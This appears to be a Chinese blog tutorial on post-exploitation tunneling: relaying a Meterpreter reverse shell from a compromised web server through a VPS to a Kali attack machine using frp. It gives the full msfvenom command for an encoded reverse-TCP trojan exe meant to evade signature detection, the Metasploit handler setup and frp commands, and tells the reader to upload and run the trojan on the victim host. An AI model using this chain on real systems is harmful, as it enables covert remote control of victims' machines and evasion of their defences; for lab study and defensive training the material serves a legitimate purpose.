• 内网渗透——隧道代理


    代理

    实验环境

    • 攻击机kali:192.168.188.133(NAT模式)

    • 模拟的公网服务器(本机):10.9.75.239

    • 失陷主机:10.9.75.145(桥接模式)

    代理使用场景

    1. 拿下远程的Web服务器。
    2. Webshell连接不稳定,需要使用稳定的木马程序。
    3. 远程服务器无法直接连接攻击者的电脑。
    4. 需要借助公网的vps转发来在失陷服务器的木马流量。
    5. 借助frp服务端(vps)和客户端(内网攻击者)建立隧道。
    6. 当vps某个端口收到流量的时候,frps会根据提前和frpc约定好的规则,使用建立好的隧道转发流量到frpc。

    前提条件

    拿下了公网上的一台主机(8.8.8.8)的webshell的权限,需要上传完整功能的木马文件。那么有一个问题,木马执行了后要找谁?此时的失陷主机是连接不到内网的攻击主机,这个时候就需要用到代理技术。

    VPS

    VPS是Virtual Private Serve的英文缩写,即虚拟专用服务器。VPS就是将一台物理服务器分割成多个独立的虚拟专项服务器,每一个VPS都可以分配独立的公网IP地址,独立的操作系统,能够实现不同VPS的磁盘空间、CPU资源、内存、系统等配置的隔离,通过虚拟技术让每一个用户使用VPS的时候都像是在使用一台独立服务器一样,自定义安装自己需要的东西。

    公网VPS:

    • 可以理解为服务器上的虚拟机,攻击者可控。

    • 攻击者和受害者服务器都可以访问到。

    建立隧道

    image-20231013201014251

    因为远程VPS不能访问攻击者的Kali主机。攻击者与远程VPS需要建立隧道,远程VPS使用7000端口建立一个监听(可以说隧道服务或者是代理服务),这样远程VPS就能够访问攻击者主机。还需要将远程VPS的4444端口的流量通过7000端口发送给攻击者的Kali。(代理的核心)

    给失陷Web服务器的木马内容:

    • host:当木马执行的时候,去连接公网上的远程VPS。

    • post:连接远程VPS的4444端口。

    frp

    frp可以实现端口转发,端口监听,隧道功能。frp分为客户端和服务端。

    Kali上启动的是客户端(frpc)

    本机上启动的是服务端(frps)

    frp运行起来的时候会自动的将7000端口开放,当然该端口可以在配置文件中进行修改。这样客户端和服务端就可以连接上了,他们之间就会有一个隧道。

    远程VPS服务器的4444端口会主动转发数据流量给客户端的4444端口,不做任何操作,通过frp建立的隧道发送给远程连接的客户端的端口,至于转发给客户端的哪个端口,是由frpc的配置文件来决定的。

    MSF木马生成

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.75.239 LPORT=4444 -e x86/shikata_ga_nai -f exe -o shell.exe -i 5
    
    • 1

    命令解析

    • -p:指定生成的Payload类型为Windows平台的Meterpreter反向TCP Shell。

    • LHOST=10.9.75.239:指定反向连接的目标IP地址,这里是将连接的目标设置为10.9.75.239。(这里就是将木马的数据流量信息发送给远程VPS服务器)

    • LPORT=4444:指定反向连接的目标端口号,这里是将连接的目标端口设置为4444。

    • -e x86/shikata_ga_nai:对生成的Payload使用x86/shikata_ga_nai编码进行混淆,以绕过一些基于特征签名的检测。

    • -f exe:生成的Payload格式为可执行文件(.exe)。

    • -o shell.exe:指定生成的Payload保存的文件名为shell.exe。

    • -i 5:Payload的迭代次数,表示对Payload进行重复编码的次数,以增加混淆程度和绕过某些检测。

    image-20231013202806600

    监听

    使用msf进行监听

    msfconsole
    
    • 1

    载入监控模块

    use exploit/multi/handler		
    
    • 1

    加载payload

    set payload windows/meterpreter/reverse_tcp
    set lport 4444					# 监听本机的4444端口
    set lhost 127.0.0.1				# 监听本机的IP地址也就是127.0.0.1
    run
    
    • 1
    • 2
    • 3
    • 4

    image-20231013203620037

    查看Kali主机监听的端口号信息

    ss -antpl
    
    • 1

    image-20231013203709384

    命令的解析:

    • ss:是一个替代传统的netstat命令的工具,用于显示套接字(socket)统计信息。
    • -a:显示所有的套接字连接,包括监听中的和已建立的连接。
    • -n:以数值形式显示IP地址和端口号,而不进行反向解析。
    • -t:只显示TCP协议相关的连接。
    • -p:显示每个连接所对应的进程ID和进程名称。
    • -l:只显示监听(处于侦听状态)的套接字连接。

    开启frp服务端和客户端

    注意:先开启frp服务端再开启frp的客户端

    开启frp服务端

    .\frps.exe -c frps.ini
    
    • 1

    说明:-c表示指定服务端的配置文件。

    image-20231013204220234

    开启frp客户端

    将frp压缩包先进行一个解压操作。

    image-20231013204557619

    修改frpc的配置文件。

    vim frpc.ini
    
    • 1

    image-20231013210008466

    当通过远程的frp服务器的7000端口连接好后,下面的配置信息[msf]就生效了。

    [msf]配置信息使用TCP协议进行通信,当远程VPS的4444端口收到数据的时候会发送数据到kali本地地址的4444端口。

    开启frp客户端

    ./frpc -c frpc.ini
    
    • 1

    image-20231013211226982

    启动成功。

    frp服务端情况:

    image-20231013211432687

    执行exe木马文件

    将木马文件上传到失陷主机上,双击执行即可。

    image-20231013211717006

    kali攻击机成功监听。

    image-20231013211817679

  • 相关阅读:
    使用BASE64实现编码和解码
    C盘清理指南(四)——垃圾清理工具
    【C】动态内存管理 malloc calloc relloc free 函数详解
    k8s中emqx使用ssl证书及官方chart修改示例
    PE文件的导入表,动态链接库中的函数应该如何导入
    2021.06青少年软件编程(Python)等级考试试卷(三级)
    Android Target 31 升级全攻略 —— 记阿里首个超级 App 的坎坷升级之路
    Vue3中使用i18n;Vue3中使用$t;$t获取不到;vue3中如果获取/使用原型链中的方法
    瓴羊,从阿里最佳实践到社会化服务
    Gitlab自动化测试的配置
  • 原文地址:https://blog.csdn.net/weixin_58783105/article/details/133823031